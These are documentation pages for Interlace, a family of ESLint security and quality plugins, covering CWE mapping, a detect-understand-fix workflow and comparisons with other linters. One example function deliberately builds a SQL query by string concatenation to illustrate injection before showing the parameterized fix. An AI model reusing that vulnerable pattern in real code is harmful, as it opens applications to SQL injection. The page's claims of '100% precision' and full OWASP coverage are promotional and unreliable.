[#current-coverage] The live, auto-generated CWE coverage table lives at [`benchmark-results/cwe-coverage.md`](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/cwe-coverage.md). It's regenerated on every rule change by `npm run docs:cwe-coverage`. Summary fields published in [`benchmark-results/cwe-coverage.json`](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/cwe-coverage.json): * Distinct CWEs covered * CWE Top-25 covered (of 25) * CWE Top-25 gaps (with justification) * Rules unmapped to any CWE (with justification) The gap list — CWE Top-25 entries Interlace doesn't cover yet — lives at [`benchmark-results/cwe-coverage-gaps.md`](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/cwe-coverage-gaps.md). It also documents the *justification for non-coverage* per criterion RR-4. ## What's emphasized, what's not (RR-4 Coverage Justification) [#whats-emphasized-whats-not-rr-4-coverage-justification] We cover CWEs that meet **all three** of: 1. **Detectable from a JS/TS Abstract Syntax Tree** — pattern-matchable in source without runtime instrumentation. 2. **Common in the JavaScript ecosystem** — driven by real-world prevalence, not generic SAST checklists. 3. **Pre-deployment-actionable** — a developer reading the diagnostic should know what to change before merging. We **don't** cover: * **C/C++ memory-safety CWEs** (CWE-787 buffer overflow, CWE-125 out-of-bounds read, CWE-416 use-after-free, CWE-119 buffer access errors, CWE-476 NULL dereference, CWE-190 integer overflow). These require pointer-level analysis JS/TS source doesn't expose. Use [CodeQL](https://codeql.github.com/) or [Coverity](https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html) for those. * **Information-disclosure CWEs requiring full data-flow analysis** (CWE-200 in its general form). Interlace covers concrete patterns (`secure-coding/no-leaked-error-message`, `secure-coding/no-stack-trace-exposure`), but not arbitrary taint tracking. * **Application-semantics-only CWEs** (CWE-862 missing authorization, CWE-863 incorrect authorization, CWE-269 improper privilege management) — these are application-design concerns, not lint-detectable. We cover *framework-specific* patterns (`nestjs-security/no-public-decorator-on-sensitive-route`, `express-security/no-skipped-auth-middleware`) where the framework hooks make detection tractable. ## Using CWE in the field [#using-cwe-in-the-field] ### Filter findings by CWE in CI [#filter-findings-by-cwe-in-ci] ```bash # Emit SARIF and feed it to GitHub Advanced Security npx eslint --format @interlace/eslint-formatter-sarif src/ > eslint.sarif # Now in GitHub UI: Code Scanning → filter by tag → external/cwe/CWE-89 ``` ### Pull a CWE rollup for an audit report [#pull-a-cwe-rollup-for-an-audit-report] ```bash npm run docs:cwe-coverage # writes JSON + Markdown cat benchmark-results/cwe-coverage.json | jq '.byCwe["CWE-798"]' # → { "rules": ["secure-coding/no-hardcoded-credentials", ...], "top25": true, "owaspTop10": false } ``` ### Grep the rule that fired by CWE [#grep-the-rule-that-fired-by-cwe] ```bash # Every rule's source carries `cwe: 'CWE-NNN'` in its meta block grep -r "cwe.*CWE-89" packages/eslint-plugin-*/src/rules/ ``` ## Submission status [#submission-status] The Interlace ecosystem's MITRE CWE Compatibility submission readiness review is published at [`benchmarks/audits/2026-05-09-mitre-cwe-compatibility-readiness.md`](https://github.com/ofri-peretz/eslint/blob/main/benchmarks/audits/2026-05-09-mitre-cwe-compatibility-readiness.md). Once reviewed and submitted, this page will link to the official MITRE CWE-Compatible Products listing. # Detect → Understand → Fix ## The Interlace Workflow [#the-interlace-workflow] Every security vulnerability follows a **3-step journey** from detection to remediation. Interlace is designed to make each step seamless—for both humans and AI agents. ### Step 1: Detect [#step-1-detect] ESLint catches the vulnerability in your code, highlighting the exact line and providing context. ### Step 2: Understand [#step-2-understand] Structured metadata (CWE, OWASP, CVSS) gives you—and your AI assistant—everything needed to understand the risk. ### Step 3: Fix [#step-3-fix] Verified remediation patterns guide the fix, ensuring you apply the correct solution every time. *** ## Workflow in Action [#workflow-in-action] Let's walk through a real SQL Injection vulnerability: ### 🔴 Step 1: Detect [#-step-1-detect] Your editor shows a red squiggly on line 19: ```js {3} async function getUserById(userId: string) { // ❌ ESLint Error: SQL query constructed via string concatenation const query = "SELECT * FROM users WHERE id = " + userId; return db.query(query); } ``` The ESLint rule `secure-coding/no-sql-concatenation` has detected the vulnerability. *** ### 🟡 Step 2: Understand [#-step-2-understand] Hovering over the error reveals rich metadata: | Field | Value | Meaning | | ---------- | ------------------------ | ----------------------- | | **CWE** | CWE-89 | SQL Injection | | **OWASP** | A03:2021 | Injection category | | **CVSS** | 9.8 | Critical severity | | **Impact** | Data breach, auth bypass | Real-world consequences | A CVSS of 9.8 means this vulnerability could allow complete database access. This isn't a "fix later" issue—it needs immediate attention. *** ### 🟢 Step 3: Fix [#-step-3-fix] The rule provides a **verified fix pattern**: ```js {3-6} async function getUserById(userId: string) { // ✅ Fixed: Parameterized query prevents injection const result = await db.query( 'SELECT * FROM users WHERE id = $1', [userId] ); return result.rows[0]; } ``` The fix: * Uses parameterized queries (placeholders like `$1`) * Separates data from SQL syntax * Prevents any SQL injection regardless of input *** ## How AI Agents Use This Workflow [#how-ai-agents-use-this-workflow] When you ask an AI assistant to fix the error: 1. **Detect**: AI reads the ESLint error output 2. **Understand**: AI parses the structured metadata (CWE-89, CVSS 9.8) 3. **Fix**: AI applies the documented remediation pattern Because the AI has structured context, it applies the **exact fix pattern**—not a guess. This is the power of AI-native documentation. *** ## The Difference: Traditional vs. Interlace [#the-difference-traditional-vs-interlace] | Aspect | Traditional Linter | Interlace | | ----------------- | ------------------------ | ----------------------------- | | **Detection** | "Possible SQL injection" | Exact line, node, and pattern | | **Understanding** | None | CWE, OWASP, CVSS, impact | | **Fix** | Generic docs link | Verified code pattern | | **AI Readiness** | ❌ Plain text | ✓ Structured JSON metadata | *** ## Workflow Integration [#workflow-integration] ### In Your Editor [#in-your-editor] 1. **VS Code** — Red squiggly + hover for metadata 2. **Cursor** — AI chat reads ESLint context automatically 3. **WebStorm** — Inspections panel with severity badges ### In CI/CD [#in-cicd] ```yaml # GitHub Actions - run: npx eslint . --format json > eslint-report.json - name: Check for Critical Issues run: | if grep -q '"cvss": 9' eslint-report.json; then echo "Critical security issues found!" exit 1 fi ``` *** ## Next Steps [#next-steps] See live ecosystem health metrics Compare Interlace to other solutions # Ecosystem Landscape ## Good competition is great [#good-competition-is-great] The JavaScript / TypeScript lint ecosystem is healthy. ESLint, Oxlint, Biome, typescript-eslint, and the long tail of community plugins each contribute something the others don't, and Interlace's place in that picture is *as a specialist* — a deep rule library for security verticals and domain code, designed to be portable across engines. This page is **the landscape we find our path through**, not a battle board. Every entry leads with what neighbors do well, then names where Interlace adds depth. > If you came here from the **Compare** page (which covers Interlace vs SAST tools like CodeQL / Semgrep / Snyk Code), this is the sibling for the **lint** layer. *** ## How the lint ecosystem stacks up [#how-the-lint-ecosystem-stacks-up] The lint ecosystem has three layers. Interlace lives in layer three. ESLint, Oxlint, Biome, TSC native plugin host. Substrates we ship to. Not competitors — they're our runtimes. Rules built into the engines themselves (Oxlint ships 790 across 15 namespaces, Biome \~400 across functional groups). Real overlap with our general-purpose plugins; effectively zero overlap with our security verticals — Oxlint has no `security` namespace. Fellow rule libraries: eslint-plugin-import, eslint-plugin-react-hooks, typescript-eslint, eslint-plugin-jsx-a11y, and the long tail. *** ## Where Interlace is positioned [#where-interlace-is-positioned] Three places where the path to community leadership is clearest: Ten dedicated security plugins covering JWT, MongoDB, PostgreSQL, Express, NestJS, AWS Lambda, Vercel AI SDK, browser, Node, plus a generic OWASP-mapped baseline. **221 rules across these 10 plugins** — zero overlap with Oxlint or Biome stock corpora. The only rule library shipping today with CI-enforced diagnostic parity across two engines (ESLint + Oxlint). Biome and the TSC native plugin host (Go) on the roadmap. See [Runtime Portability](/docs/getting-started/concepts/runtime-portability). Per-rule CWE / CVSS / OWASP metadata, 11 MCP servers, SARIF output with full structured findings. The only library shipping this systematically. *** ## Where each layer-1 engine fits [#where-each-layer-1-engine-fits] | Engine | Language | Where it shines | Our story | | :------------------------- | :------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------------- | | **ESLint** | JS | The most mature plugin ecosystem, deepest type-aware tier via typescript-eslint, broadest editor integration. | Our **floor** — every rule runs here, every rule's tests are authored here. | | **Oxlint** | Rust | Sub-second linting on large repos. 790 stock rules across 15 namespaces (`eslint` 178, `unicorn` 129, `typescript` 109, `vitest` 71, `jest` 60, `react` 59, `jsx_a11y` 36, `import` 32, `oxc` 26, `vue` 23, `nextjs` 21, `jsdoc` 20, `promise` 16, `node` 6, `react_perf` 4). No `security` namespace. | **Automated peer.** Our rules run here via the JS-plugin tier with CI-enforced parity — typically 13–22× wall-time speedup. | | **Biome** | Rust | All-in-one linter + formatter, zero-config, \~300 built-in rules grouped by function (a11y, complexity, correctness, performance, security, style, suspicious). | **Reserved peer.** First-class portability target; parity adapter on the roadmap. | | **TSC native plugin host** | Go | The Go port of the TypeScript compiler (`tsgo`, tracking toward TSC 7) — once stable, makes type-aware analysis cheap enough to be the default. | **Watching.** Long-horizon home for our deep-tier type-aware rules. | | **typescript-eslint** | JS | The parser stack every TS-aware ESLint plugin depends on, plus \~150 type-aware rules (`no-unsafe-*`, `no-misused-promises`, etc.). | **Complement, not competitor.** Our domain plugins sit on top of the type information typescript-eslint surfaces. | *** ## Per-plugin landscape [#per-plugin-landscape] A compact view. The authoritative per-plugin map with neighbor download counts and overlap details lives in [`distribution/ECOSYSTEM_LANDSCAPE.md`](https://github.com/ofri-peretz/eslint/blob/main/distribution/ECOSYSTEM_LANDSCAPE.md). ### Security verticals — open neighborhoods, depth-first [#security-verticals--open-neighborhoods-depth-first] | Plugin | Rules | Where it lives in the landscape | | :------------------- | ----: | :----------------------------------------------------------------------------------------------------------------------------------------------------- | | `secure-coding` | 27 | Sits alongside `eslint-plugin-security` (\~3.1M weekly, generic) and `eslint-plugin-no-secrets`. We extend with CWE / CVSS metadata + MCP integration. | | `browser-security` | 45 | Adjacent to `eslint-plugin-no-unsanitized` (Mozilla, narrow). Wider sink coverage; structured postMessage / websocket rules. | | `node-security` | 33 | Different scope from `eslint-plugin-n` (\~5.4M weekly, general Node best practices). Security-focused, includes crypto. | | `jwt` | 13 | No dedicated peer. Open community-leadership space. | | `express-security` | 10 | Lint-tier complement to `helmet` (runtime middleware). Open space. | | `lambda-security` | 14 | Lint-tier complement to `cfn-lint` / `checkov` (operate on IaC). Open space. | | `mongodb-security` | 16 | No lint-time peer. Open space. | | `nestjs-security` | 6 | `eslint-plugin-nestjs` covers general best practices, not security. Open space. | | `vercel-ai-security` | 19 | Emerging neighborhood. First lint-time AI-SDK safety library. | | `pg` | 13 | No lint-time peer. SAST tools cover deeper but slower. Open lint-tier space. | ### Code quality — crowded neighborhoods, we contribute [#code-quality--crowded-neighborhoods-we-contribute] | Plugin | Rules | Where it lives in the landscape | | :---------------- | ----: | :--------------------------------------------------------------------------------------------------------------------------------- | | `maintainability` | 12 | Alongside `eslint-plugin-sonarjs` (\~1.9M weekly, cognitive complexity), ESLint core complexity rules. We contribute, not replace. | | `reliability` | 9 | Alongside `eslint-plugin-promise` (\~5.6M weekly). Defensive-programming framing across paradigms. | | `modernization` | 3 | Curated subset where `eslint-plugin-unicorn` (\~5.5M weekly) is silent or wrong. **Intentionally narrow.** | | `conventions` | 11 | Alongside `eslint-plugin-perfectionist` (\~3M+ weekly, growing). Project-level conventions across files. | | `modularity` | 5 | Alongside `eslint-plugin-import` (\~38.2M weekly, includes cycle detection). Faster cycle detection. | | `operability` | 6 | Almost-empty neighborhood. Opportunity to grow into a recognized standard. | ### React — strong neighbors, focused additions [#react--strong-neighbors-focused-additions] | Plugin | Rules | Where it lives in the landscape | | :--------------- | ----: | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `react-a11y` | 37 | Alongside `eslint-plugin-jsx-a11y` (\~23.7M weekly, dominant). Wider element-type coverage on rules where we've audited gaps. | | `react-features` | 53 | Alongside `eslint-plugin-react-hooks` (\~52.9M weekly, official React team) and `eslint-plugin-react` (\~34M). Patterns the upstream doesn't cover (concurrent-rendering pitfalls, performance anti-patterns). | ### Imports — one giant, one focused alternative [#imports--one-giant-one-focused-alternative] | Plugin | Rules | Where it lives in the landscape | | :------------ | ----: | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `import-next` | 55 | Alongside `eslint-plugin-import` (\~38.2M weekly, dominant), `eslint-plugin-unused-imports` (\~5.6M), `eslint-plugin-simple-import-sort` (\~3.9M), `eslint-plugin-perfectionist` (\~3M+, growing). Faster cycle detection on monorepos, flat-config native, Oxlint-host native. | *** ## Adjacent tooling [#adjacent-tooling] Some tools sit at a different tier but cover overlapping use cases. Worth knowing. * **`knip`** — unused files / exports / deps at the project graph level. Complements `import-next/no-unused-imports` (file-local). * **`dependency-cruiser`** — architecture rules at the module-graph level. Complements `modularity` for full-project audits. * **`trunk check`**, **`megalinter`** — linting aggregators that ship plugins like ours. Not competitors; potential distribution channels. * **`helmet`** — Express runtime security headers. Complements `express-security` (lint-time). * **`gitleaks`**, **`trufflehog`** — git-history secret scanning. Complements `secure-coding/no-hardcoded-credentials` (source-tree lint). *** ## How we measure ourselves (and how we measure peers) [#how-we-measure-ourselves-and-how-we-measure-peers] Every claim on this page reduces to a row in the comprehensive evaluation-metrics catalog. Twelve categories, \~50 metrics: 1. **Correctness** — Precision, Recall, F1, false-positive rate, severity calibration, evasion resilience, mutation kill-rate 2. **Coverage** — Rule count, CWE / OWASP / ISO 25010 / CAPEC / NIST SSDF / ASVS coverage, API-surface depth 3. **Performance** — Cold and warm lint time, per-rule p50 / p95 cost, peak memory, Oxlint speedup 4. **Engine portability** — Supported engines, parity drift, shared-rule count 5. **Determinism & stability** — Run-to-run determinism, autofix idempotence, cross-engine byte-equality 6. **Compatibility matrix** — ESLint / Node / TS / parser versions 7. **AI / agent readiness** — MCP, SARIF, LLM-fix success, token cost, autofix coverage 8. **Documentation & DX** — Rules with docs / examples / autofix demos, search discoverability 9. **Adoption & health** — Weekly downloads, release cadence, contributor signal 10. **Security-specific** — CVE-disclosure-to-rule latency, zero-day class coverage, taint depth 11. **Cross-tool differential** — Agreement matrix vs CodeQL / Semgrep / Snyk Code 12. **Operational / pipeline** — PR-time runtime, pre-commit eligibility, CI memory profile Authoritative source: [`distribution/EVALUATION_METRICS.md`](https://github.com/ofri-peretz/eslint/blob/main/distribution/EVALUATION_METRICS.md). Live measurements: [`benchmark-results/scorecard.md`](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/scorecard.md), refreshed weekly. If a claim about Interlace or a neighbor plugin can't reduce to a row in that catalog, it's a feeling, not a measurement. *** ## Further reading [#further-reading] * [Compare vs SAST tools (CodeQL, Semgrep, Snyk Code)](/docs/getting-started/concepts/compare) * [Compatibility — engine + ESLint + Node matrices](/docs/getting-started/concepts/compatibility) * [Runtime Portability — the parity contract](/docs/getting-started/concepts/runtime-portability) * [Benchmarks — live performance numbers](/docs/getting-started/concepts/benchmarks) * [CWE Coverage matrix](/docs/getting-started/concepts/cwe-compatibility) # Understanding Interlace ## Why Understanding Matters [#why-understanding-matters] ESLint Interlace isn't just another linting tool—it's an **AI-native security ecosystem** designed from the ground up to work seamlessly with modern AI coding assistants. Understanding these core concepts will help you: * Get the most out of Interlace's security rules * Integrate effectively with AI assistants like GitHub Copilot, Cursor, and Claude * Contribute your own rules to the ecosystem *** ## Core Concepts [#core-concepts] How structured metadata enables AI agents to fix vulnerabilities with 100% precision—no hallucinations. See how ESLint "reads" your code and why understanding the AST unlocks advanced customization. Deep dive into CWE, OWASP, and CVSS—the industry standards that power our security mappings. The 3-step workflow that defines the Interlace experience for both humans and AI. *** ## Ecosystem Transparency [#ecosystem-transparency] Live Codecov metrics showing real-time test coverage across all plugins. Performance comparisons and feature matrix vs. other security linting solutions. We believe in radical transparency. Every rule is mapped to industry standards, every plugin is tested, and every metric is live. # Philosophy ## The Interlace Philosophy [#the-interlace-philosophy] ESLint Interlace isn't a single plugin—it's an **ecosystem of 18+ specialized plugins**. This is by design. Security and code quality are not one-size-fits-all. Different projects have different needs, and forcing everyone to use the same monolithic ruleset creates noise and friction. *** ## Why Many Plugins? [#why-many-plugins] ### 1. Install Only What You Need [#1-install-only-what-you-need] A React Native app doesn't need PostgreSQL rules. A Node.js API doesn't need browser security rules. Install only what applies to your stack. Fewer rules = faster execution. Why parse every file against 500 rules when you only need 50? ### 2. Focused Expertise [#2-focused-expertise] Each plugin is **laser-focused** on one domain: | Plugin | Domain Expertise | | -------------------- | ---------------------------------------------- | | `browser-security` | Client-side XSS, DOM manipulation, postMessage | | `jwt` | Token algorithms, expiration, secret handling | | `mongodb-security` | NoSQL injection, $where, aggregation attacks | | `pg` | SQL injection, COPY FROM, prepared statements | | `vercel-ai-security` | Prompt injection, tool result validation | This focus means: * **Deeper coverage** — We can go deep instead of broad * **Domain experts** — Each plugin maintained by specialists * **Better errors** — Context-aware messages, not generic "security issue" ### 3. Independent Releases [#3-independent-releases] When we fix a JWT vulnerability rule, you don't need to update your entire linting setup. Independent versioning means: * **Surgical updates** — Update only affected plugins * **No breaking cascades** — One plugin's major version doesn't force others * **Faster iteration** — We can ship fixes without coordinating 18 changelogs *** ## The Two Pillars [#the-two-pillars] ESLint Interlace organizes plugins into two main categories:

Security Plugins (11+)

Vulnerability detection with CWE/OWASP mapping. Every rule is actionable and AI-parseable.

Quality Plugins (7+)

Code architecture, conventions, and maintainability. Rules that prevent tech debt.
*** ## Design Principles [#design-principles] ### AI-Native from Day One [#ai-native-from-day-one] Every rule in Interlace includes structured metadata: ```js // Every error includes: { messageId: 'insecureJwtAlgorithm', data: { cwe: 'CWE-327', owasp: 'A02:2021', cvss: 7.5, fix: 'Use RS256 or ES256 instead of HS256 with public keys' } } ``` This enables AI assistants (Copilot, Cursor, Claude) to: * Understand the **severity** of issues * Apply the **correct fix** without hallucinating * Prioritize by **risk score** ### Performance First [#performance-first] We don't just add rules—we optimize them: * **8x faster** cycle detection in `import-next` * **Parallel rule execution** where possible * **Lazy AST traversal** to avoid unnecessary work ### Framework-Aware [#framework-aware] Generic rules produce false positives. Framework-aware rules understand context: * `express-security` knows Express middleware patterns * `nestjs-security` understands decorators and DI * `lambda-security` recognizes handler signatures *** ## Adoption Strategies [#adoption-strategies] ### Start Small [#start-small] ```bash # Week 1: Core security npm install eslint-plugin-browser-security eslint-plugin-secure-coding # Week 2: Add framework-specific npm install eslint-plugin-express-security # Week 3: Add quality npm install eslint-plugin-conventions eslint-plugin-reliability ``` ### By Stack [#by-stack] | Stack | Recommended Plugins | | ------------------- | ------------------------------------------ | | **React SPA** | browser-security, secure-coding | | **Next.js** | browser-security, import-next, conventions | | **Express API** | express-security, node-security, jwt | | **NestJS** | nestjs-security, jwt, mongodb-security | | **AWS Lambda** | lambda-security, node-security | | **AI Applications** | vercel-ai-security, secure-coding | *** ## Community & Contribution [#community--contribution] Each plugin is: * **Open source** (MIT licensed) * **Independently maintainable** — You can fork just one plugin * **Test-covered** — 85%+ coverage for security plugins We believe security tooling should be transparent. Every rule's logic is visible, testable, and auditable. *** ## Next Steps [#next-steps] Start installing plugins for your stack Explore the security plugin suite Explore the quality plugin suite # Runtime Portability ## The core commitment [#the-core-commitment] > **Rules are portable. Runtimes are not. We commit to rule semantics; we do not commit to a single engine.** The Rust/Go rewrite wave — oxlint, Biome, swc, the Go port of TSC — is the largest re-platforming JavaScript tooling has seen since ESLint shipped in 2013. Most plugin authors are betting on one engine. **Interlace ships to two, and grades them against a parity contract.** *** ## Two tiers, two engines [#two-tiers-two-engines] Every rule we ship belongs to exactly one tier. The tier is part of the rule's metadata, surfaced on its docs page, and used by CI to route the rule to the correct engine. | Tier | Engine | Substrate | When it runs | | -------- | ------------------------------------- | ----------------------------------- | -------------------------------------- | | **Fast** | oxlint primary; ESLint floor | AST only | Editor on save, pre-commit, fast CI | | **Deep** | ESLint primary; TSC 7 host eventually | AST + type graph + scope + dataflow | CI deep leg, on-demand, IDE background | No rule straddles tiers. A rule that needs type information is deep, period. If a fast-tier rule quietly relies on types, that's a regression we fix — not a graceful degradation we ship. *** ## The parity contract [#the-parity-contract] A rule with `runtimes: [eslint, oxlint]` must produce **identical diagnostics on identical input across both engines**. Drift is a build failure, not a footnote. This is enforced by: * **Generated shims** in [`tools/oxlint-plugins/`](https://github.com/ofri-peretz/eslint/tree/main/tools/oxlint-plugins) — one per `@interlace/eslint-plugin-*` package, regenerated by [`scripts/generate-oxlint-shims.mjs`](https://github.com/ofri-peretz/eslint/blob/main/scripts/generate-oxlint-shims.mjs). * **Parity verification** via [`scripts/verify-oxlint-shims.mjs`](https://github.com/ofri-peretz/eslint/blob/main/scripts/verify-oxlint-shims.mjs) — a CI gate that fails when shims drift from the source plugins. * **The [`oxlint-parity.yml`](https://github.com/ofri-peretz/eslint/blob/main/.github/workflows/oxlint-parity.yml) workflow** — every PR, every push. *** ## Why this matters to you [#why-this-matters-to-you] * **Your editor stays fast.** Fast-tier rules run on save under oxlint's sub-second budget. * **Your CI stays correct.** Deep-tier rules run under ESLint where the type graph and dataflow live. * **Your investment survives a runtime swap.** When TSC 7 ships a plugin host, our deep-tier rules port — the rule semantics don't change. *** ## The full philosophy [#the-full-philosophy] The complete contract — including what "identical" means, how drift gets resolved, and the TSC 7 vision — is documented in [`INTEROP_PHILOSOPHY.md`](https://github.com/ofri-peretz/interlace/blob/main/docs/philosophies/INTEROP_PHILOSOPHY.md). ## Where Interlace sits in the lint ecosystem [#where-interlace-sits-in-the-lint-ecosystem] Engine portability is one of three things that differentiate Interlace; the per-plugin landscape (who else is in each space, where we add depth) lives on the [Ecosystem Landscape](/docs/getting-started/concepts/ecosystem) page. For the SAST-tier comparison (CodeQL / Semgrep / Snyk Code), see [Compare](/docs/getting-started/concepts/compare). # Security Metadata ## Industry Security Standards [#industry-security-standards] Interlace maps every security rule to **three industry standards**, ensuring your vulnerabilities are classified using the same language as professional security auditors, compliance frameworks, and AI assistants. *** ## CWE (Common Weakness Enumeration) [#cwe-common-weakness-enumeration] A community-developed dictionary of software weaknesses maintained by MITRE. Each weakness has a unique ID (e.g., CWE-89 for SQL Injection). CWE provides a **common language** for describing security vulnerabilities. When Interlace reports `CWE-89`, any security tool, auditor, or AI assistant knows exactly what type of issue it is. ### Common CWEs in Interlace [#common-cwes-in-interlace] | CWE ID | Name | Risk Category | Example Rule | | ------- | -------------------------- | ------------- | ------------------------------------ | | CWE-79 | Cross-site Scripting (XSS) | Web | `browser-security/no-innerhtml` | | CWE-89 | SQL Injection | Injection | `secure-coding/no-sql-concatenation` | | CWE-327 | Use of Broken Crypto | Cryptography | `node-security/no-weak-algorithms` | | CWE-798 | Hardcoded Credentials | Secrets | `secrets/no-hardcoded-credentials` | | CWE-614 | Sensitive Cookie in HTTPS | Web | `browser-security/secure-cookie` | Browse the full CWE database → *** ## OWASP Top 10 [#owasp-top-10] The Open Web Application Security Project publishes the most critical web application risks every few years. The Top 10 is the industry standard for web security priorities. Interlace covers **100% of the OWASP Top 10 2021**: | Rank | Category | Interlace Coverage | | ---- | ------------------------- | ------------------------------- | | A01 | Broken Access Control | ✓ Role/permission rules | | A02 | Cryptographic Failures | ✓ `eslint-plugin-node-security` | | A03 | Injection | ✓ SQL, NoSQL, Command injection | | A04 | Insecure Design | ✓ Architecture patterns | | A05 | Security Misconfiguration | ✓ Config validation rules | | A06 | Vulnerable Components | ✓ Dependency checks | | A07 | Auth Failures | ✓ JWT, session rules | | A08 | Data Integrity Failures | ✓ Deserialization rules | | A09 | Logging Failures | ✓ Logging best practices | | A10 | SSRF | ✓ URL validation rules | Read the OWASP Top 10 2021 → *** ## CVSS (Common Vulnerability Scoring System) [#cvss-common-vulnerability-scoring-system] A severity rating from 0.0 to 10.0 that helps prioritize vulnerability fixes. Higher scores = more critical. CVSS helps you **prioritize** which issues to fix first: | Score Range | Severity | Action | Example | | ----------- | ----------- | --------------------- | ----------------------- | | 9.0 - 10.0 | 🔴 Critical | Fix immediately | SQL Injection (9.8) | | 7.0 - 8.9 | 🟠 High | Fix in current sprint | Hardcoded secrets (7.5) | | 4.0 - 6.9 | 🟡 Medium | Schedule fix | Missing HTTPS (5.3) | | 0.1 - 3.9 | 🟢 Low | Monitor & plan | Info disclosure (2.1) | ### CVSS in Interlace [#cvss-in-interlace] Every security rule displays its CVSS score, helping you: * **Triage** issues by severity * **Report** to stakeholders with industry-standard metrics * **Comply** with security frameworks that require risk scoring Interlace CVSS scores are based on industry averages for each CWE category. Actual severity may vary based on your specific application context. *** ## Why This Mapping Matters [#why-this-mapping-matters] ### For Developers [#for-developers] * Understand the **real-world impact** of each issue * **Prioritize** fixes based on severity * **Learn** security patterns from industry standards ### For Security Teams [#for-security-teams] * **Audit** codebases using industry-standard classifications * **Report** findings with CWE/OWASP/CVSS mappings * **Integrate** with SIEMs and security dashboards ### For AI Agents [#for-ai-agents] * **Ground** responses in verified security context * **Reference** specific remediation patterns * **Avoid** hallucinations with structured metadata *** ## Next Steps [#next-steps] See the complete workflow in action View live ecosystem metrics # Transparency Dashboard ## Why this page exists [#why-this-page-exists] The lint-tier ecosystem is full of plugins that publish a few headline numbers. Interlace publishes the **measurement system** — every dimension we evaluate ourselves on, every dimension we evaluate peers on, and the raw artifact behind every claim. If a row on this page links to a JSON file, that JSON is the source of truth; the prose summary on the page is rendered from it. > Every measurement on this page reduces to a row in [`distribution/EVALUATION_METRICS.md`](https://github.com/ofri-peretz/eslint/blob/main/distribution/EVALUATION_METRICS.md). If a marketing claim about Interlace can't reduce to one of those rows, it's a feeling, not a measurement, and it shouldn't ship. *** ## What we measure — at a glance [#what-we-measure--at-a-glance] Days between a public CVE disclosure (in a covered library / framework) and the Interlace rule that detects the underlying pattern shipping. Target: ≤ 14 days for live-feed entries. Per domain-security plugin: % of the target SDK / runtime callable surface with at least one rule covering misuse. Floor: 60% per plugin. Per-rule p50 / p95 latency budgets, CI-enforced. Rules exceeding budget × (1 + tolerance) or the 1000 ms hard ceiling fail the build. Peak RSS + cold-start per engine + preset on a fixed corpus. CI memory budget: 80% of 7 GB runner = \~5.6 GB. Weekly snapshot of every ESLint-plugin neighbor in our landscape — npm downloads, release cadence, days since release, GitHub stars, open issues, 90-day contributors. Aggregate scorecard weighted across correctness, coverage, performance, engine portability, AI-readiness, DX, determinism, compatibility. *** ## Live artifacts [#live-artifacts] Each row links to the live JSON + rendered markdown view in the repo. They're regenerated by the named script and committed; the GitHub workflow column lists what triggers the refresh. | Dimension | Live data | Generated by | Trigger | | :---------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------- | :-------------------------------------------------------- | | CVE → rule latency | [cve-rule-latency.json](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/cve-rule-latency.json) · [.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/cve-rule-latency.md) | [`audit-cve-rule-latency.ts`](https://github.com/ofri-peretz/eslint/blob/main/scripts/audit-cve-rule-latency.ts) | PR-touch of the log or any security plugin + nightly cron | | API-surface coverage | [api-surface-manifest.json](https://github.com/ofri-peretz/eslint/blob/main/.agent/api-surface-manifest.json) · [.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/api-surface-coverage.md) | [`audit-api-surface.ts`](https://github.com/ofri-peretz/eslint/blob/main/scripts/audit-api-surface.ts) | PR-touch of any security plugin or the manifest | | Per-rule p95 budget | [per-rule-p95.json](https://github.com/ofri-peretz/eslint/blob/main/benchmarks/budgets/per-rule-p95.json) · [.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/per-rule-budget-check.md) | [`check-per-rule-budget.ts`](https://github.com/ofri-peretz/eslint/blob/main/scripts/check-per-rule-budget.ts) | PR-touch of the budget or new flagship results | | Resource profile | [resource-profile.json](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/resource-profile.json) · [.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/resource-profile.md) | [`ilb-resource-profile.ts`](https://github.com/ofri-peretz/eslint/blob/main/scripts/ilb-resource-profile.ts) | Manual / scheduled | | Peer health snapshot | [peer-health.json](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/peer-health.json) · [.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/peer-health.md) | [`fetch-peer-health.ts`](https://github.com/ofri-peretz/eslint/blob/main/scripts/fetch-peer-health.ts) | Weekly Monday cron, auto-commit | | Headline scorecard | [scorecard.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/scorecard.md) | [`ilb-scorecard.ts`](https://github.com/ofri-peretz/eslint/blob/main/scripts/ilb-scorecard.ts) | Manual / scheduled | | CWE coverage | [cwe-coverage.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/cwe-coverage.md) · [-gaps.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/cwe-coverage-gaps.md) | `npm run ilb:cwe` | Manual / scheduled | | ISO 25010 crosswalk | [iso25010-crosswalk.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/iso25010-crosswalk.md) | `npm run ilb:iso25010` | Manual / scheduled | | Compliance crosswalk (NIST SSDF / OWASP ASVS / CAPEC) | [compliance-crosswalk.md](https://github.com/ofri-peretz/eslint/blob/main/benchmark-results/compliance-crosswalk.md) | `npm run ilb:compliance` | Manual / scheduled | *** ## How a claim becomes a measurement [#how-a-claim-becomes-a-measurement] Every public Interlace claim follows the same path: 1. The dimension is named in [`EVALUATION_METRICS.md`](https://github.com/ofri-peretz/eslint/blob/main/distribution/EVALUATION_METRICS.md) — its operational definition, unit, target, and peer-comparability. 2. A script under [`scripts/`](https://github.com/ofri-peretz/eslint/tree/main/scripts) produces a dated JSON artifact under [`benchmark-results/`](https://github.com/ofri-peretz/eslint/tree/main/benchmark-results) 